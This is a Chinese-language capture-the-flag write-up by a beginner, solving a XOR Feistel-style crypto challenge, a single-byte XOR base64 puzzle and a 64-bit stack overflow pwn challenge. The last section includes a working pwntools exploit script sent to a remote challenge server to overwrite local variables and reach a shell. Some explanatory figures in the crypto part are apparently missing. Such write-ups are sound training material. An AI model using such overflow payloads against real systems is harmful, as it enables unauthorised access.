fez
題目給了兩個檔案:
fez.py:
import os
def xor(a,b):
assert len(a)==len(b)
c=""
for i in range(len(a)):
c+=chr(ord(a[i])^ord(b[i]))
return c
def f(x,k):
return xor(xor(x,k),7)
def round(M,K):
L=M[0:27]
R=M[27:54]
new_l=R
new_r=xor(xor(R,L),K)# new_r = R ^ L ^ K
return new_l+new_r
def fez(m,K):
for i in K:#do 7 times
m=round(m,i)
return m
K=[]
for i in range(7):
K.append(os.urandom(27))
m=open("flag","rb").read()
assert len(m)<54
m+=os.urandom(54-len(m))
test=os.urandom(54)
print test.encode("hex")
print fez(test,K).encode("hex")
print fez(m,K).encode("hex")
fez.log:
d731a7b0f7fa1da45fc1d00f86128ab1e5f6f093a5af1078e20aafcf3d159d454d6491073a2429e886fdf588ea8a62af220c983c4024
2c9920ccfed9d7b0f0f1873487556212dfe53736139fff846f7a31c32afa37606e7dff8d745a8b7e1072ec56402c5977fa6b9f047f55
8795062cec3a3402d2b6e1847ccda6e6d305df98fc4365932e485ad97b1a00fe11e69a8497806b74ff5dc2e060025262b88785c42ca2
通過觀察py檔案,看到他是讀入了flag,補足到54個長度,然後對flag進行加密,然後最後三個print出來的就在log檔案裡面。
這裡os.urandom(length)作用是生成一個随機内容的,長度為length的字元串。内容包括非可列印。比如
>>> os.urandom(len('asd'))
' \xc1q'
這個方法可以用來生成一些加密算法所需要的密鑰。先不用管,反正就是個字元串。
顯然,想解出flag必須知道test, K。K是長度為7的list,每個元素對應一個随機字元串。
我們觀察fez()函數以及調用方法可以發現,我們得到Ki的組合整體代入就可以。順着程式流程走,如下表:
( 等号兩邊同時異或;a ^ a ^ b = b,相同xor抵消。)
解密就很簡單了。求出兩個K的整體,然後帶入把m解出來,拼接得到flag:
簽到
題目提示easy xor???,下載下傳一個txt
AAoHAR1TJ1clUFYjVSRRV1cnIiUiV1BeUFNeIlBXI1BVI1UlUBs=
顯然base64, 本來猜測是list元素之間兩兩異或,嘗試無果。最後直接暴力試一下:
import base64
s = 'AAoHAR1TJ1clUFYjVSRRV1cnIiUiV1BeUFNeIlBXI1BVI1UlUBs='
L = list(base64.b64decode(s.encode('utf-8')))
for n in range(1,0xff):#0x66
s = ''
for i,a in enumerate(L):
s += chr(L[i]^n)
if s[0:4] == 'flag':
print(hex(n),s)
用list()之後元素為10進制格式。
L = [0x00,0x0a,0x07,0x01,0x1d,0x53,0x27,0x57,0x25,0x50,0x56,0x23,0x55,0x24,0x51,0x57,0x57,0x27,0x22,0x25,0x22,
0x57,0x50,0x5e,0x50,0x53,0x5e,0x22,0x50,0x57,0x23,0x50,0x55,0x23,0x55,0x25,0x50,0x1b]
0x66 flag{5A1C60E3B711ADCD168658D61E63E3C6}
成功。
gettingstart
file一下發現是64bit。先運作一下
拖進IDA:
進到main函數
自己帶後門/bin/sh了,是以我們能讓if裡面的值為false就可以了。
找到漏洞位置:read(0, &buf, 0x28uLL); 向buf這個數組讀入了長度為0x28的資料,而通過觀察
棧幀向下往高位址生長,buf到v7的偏移隻有0x18,到v8的偏移隻有0x20,是以我們可以覆寫掉v7,v8的值,v7 == 0x7FFFFFFFFFFFFFFF,v8 == 0.1
這裡有個問題,對于64位下的double 0.1在記憶體中的存儲形式。這裡用了個笨方法
怪尴尬的。。其實一開始是在windows上寫的,輸出了個這玩意
這是錯誤的。
于是linux繼續寫:
、
gcc之後再gdb看
rbp-0x8的位置,是以0.1就是0x3fb999999999999a
(對于上述方法,各路dalao有好辦法的請多多指教)
繼續看IDA,因為v5,v6都是0,是以buf直接合并成數組:
buf在rsp+0x10位置,新的v5在rsp+0x28的位置,offset為0x18,是以填0x18個字元到buf裡之後可以p64寫入目标值。
編寫payload腳本:
from pwn import *
LOCAL = False
def main():
if LOCAL:
p = process('./task_gettingStart_ktQeERc')
else:
p = remote('49.4.79.120','30434')
payload = 'a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3fb999999999999a)
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
main()
得到flag。
新手做題,寫的有點啰嗦,見諒!